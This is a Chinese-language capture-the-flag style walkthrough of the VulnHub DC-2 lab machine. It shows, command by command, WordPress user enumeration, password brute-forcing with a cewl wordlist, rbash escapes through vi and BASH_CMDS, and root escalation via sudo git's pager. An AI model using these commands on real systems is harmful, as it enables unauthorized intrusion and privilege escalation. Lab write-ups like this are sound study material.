VulnHub DC-2 靶机渗透测试中,如何找到并利用特定漏洞进行攻击?

摘要:🛡️ DC-2 靶机渗透测试笔记 靶机系列:DC | 难度:初级~中级 | 类型:WordPress + rbash逃逸 + git提权 📌
🛡️ DC-2 靶机渗透测试笔记 靶机系列:DC | 难度:初级~中级 | 类型:WordPress + rbash逃逸 + git提权 📌 目录 主机发现 端口扫描 信息收集 目录扫描 WPScan 用户枚举 cewl 字典生成 + 密码爆破 SSH 登录 + rbash 逃逸 git 提权 🔍 主机发现 使用 nmap 对整个网段进行存活探测: nmap -sn 192.168.67.0/24 🔎 端口扫描 nmap 速度参数说明 参数 含义 T1 最慢,几乎不会触发防火墙告警 T2 慢 T3 默认速度 T4 快,靶机环境常用 ✅ T5 最快,但容易丢包漏扫 使用 -p- 全端口扫描: nmap -A -T4 -p- 192.168.67.132 扫描结果发现开放了 Web(80) 和 SSH(7744) 两个端口。 🌐 信息收集 配置 hosts 解析 直接访问ip url变成了dc-2 由于靶机使用域名 dc-2,需要在本地 hosts 文件中添加解析。 Windows 路径:C:\Windows\System32\drivers\etc\hosts Linux 路径:/etc/hosts Linux 系统可以使用以下命令添加解析: echo "192.168.67.132 dc-2" >> /etc/hosts Windows 系统需要以管理员身份打开记事本编辑 hosts 文件,添加以下行: 192.168.67.132 dc-2 在网页底部可以看到 CMS 指纹信息: 使用 WhatWeb 识别 CMS whatweb -v http://dc-2 插件识别结果: 确认使用的是 WordPress CMS,版本信息已获取。 浏览网页,看到flag1 💡 Tips:WhatWeb 是一款 Web 应用指纹识别工具,能识别 CMS、框架、服务器类型、JS 库等信息,是信息收集阶段的常用工具之一。 📂 目录扫描 dirsearch -u http://dc-2 发现 WordPress 后台登录页面: http://dc-2/wp-login.php 🔧 WPScan 用户枚举 WPScan 是一款专门针对 WordPress 网站的黑盒扫描器,是渗透测试中处理此类 CMS 的"行业标准"工具。 常用命令 # 获取版本信息 wpscan --url http://dc-2 # 扫描插件 wpscan --url http://dc-2 --enumerate p # 枚举用户 wpscan --url http://dc-2 --enumerate u 枚举到三个用户,保存到 users.txt: echo -e "admin\ntom\njerry" > users.txt 🔑 cewl 字典生成 + 密码爆破 cewl 介绍 cewl(Custom Word List generator)是一个非常独特的自定义字典生成工具。 在渗透测试中,如果常规字典(如 rockyou.txt)爆破失败,渗透者会使用 cewl 针对目标网站进行"定制化"攻击。 工作原理: 爬取网页:像浏览器一样访问你指定的 URL 提取单词:抓取网页上所有的文字内容,并把每一个单词提取出来 去重并汇总:自动删掉重复的词,并过滤掉太短的词(默认少于 3 个字母不要),最后生成一个专门针对该网站的"词汇表" cewl http://dc-2 -w passwords.txt WPScan 密码爆破 wpscan --url http://dc-2 -U users.txt -P passwords.txt 🎉 爆破成功,获得两组凭据: [!] Valid Combinations Found: | Username: jerry, Password: adipiscing | Username: tom, Password: parturient 💻 SSH 登录 + rbash 逃逸 登录尝试 使用 jerry 和 tom 分别尝试登录后台,发现 jerry 登录能看到 flag2: 接下来尝试 SSH: 可以用xshell连接,也可以直接用命令行: ssh tom@192.168.67.132 -p 7744 jerry 登不上 SSH tom 可以登录 ✅ rbash 限制 登录后发现是 rbash(受限 shell),很多命令无法使用,路径被限制,/ 被禁止。 💡 rbash 是什么? rbash(restricted bash)是 bash 的受限模式,限制用户执行包含 / 的命令、修改 PATH、使用重定向等操作,常用于限制低权限用户的操作范围。 rbash 逃逸方式一:vi vi :set shell=/bin/bash :shell 逃出 rbash 后修复 PATH: export PATH=/usr/sbin:/usr/bin:/sbin:/bin rbash 逃逸方式二:BASH_CMDS(无需 vi) BASH_CMDS[a]=/bin/sh;a # 把 /bin/sh 注册为命令 a,执行后逃出 rbash export PATH=$PATH:/bin/ # 将 /bin 加入 PATH 环境变量 export PATH=$PATH:/usr/bin # 将 /usr/bin 加入 PATH 环境变量 💡 BASH_CMDS 是 bash 内置的命令哈希表,rbash 限制了外部命令执行,但无法阻止操作这个内置表,因此可以借此逃逸。 📖 更多 rbash 逃逸姿势参考:https://xz.aliyun.com/news/7237 切换到 jerry 看到flag4 su jerry ⚡ git 提权 查找 sudo 权限 sudo -l 发现 jerry 可以免密以 root 身份运行 /usr/bin/git。 💡 除了 sudo,也可以查找 SUID 文件: find / -perm -u=s -type f 2>/dev/null 找到可疑的 SUID 二进制文件后,去 GTFOBins 查找对应的利用方式。 git pager 提权 sudo git -p help 进入 pager 界面后输入: !/bin/sh 🎉 成功获取 root shell! 📝 总结 阶段 使用工具/技术 主机发现 nmap -sn 端口扫描 nmap -A -T4 -p- 指纹识别 WhatWeb 目录扫描 dirsearch 用户枚举 WPScan 字典生成 cewl 密码爆破 WPScan Shell 逃逸 vi / BASH_CMDS 提权 sudo git + pager 逃逸 DC-2 的核心考点: 🔹 WordPress 信息收集与枚举 🔹 cewl 定制化字典生成 🔹 rbash 逃逸技巧 🔹 sudo 配置不当导致 git 提权 ✍️ 本文为靶机练习记录,仅供学习交流,请勿用于非法用途。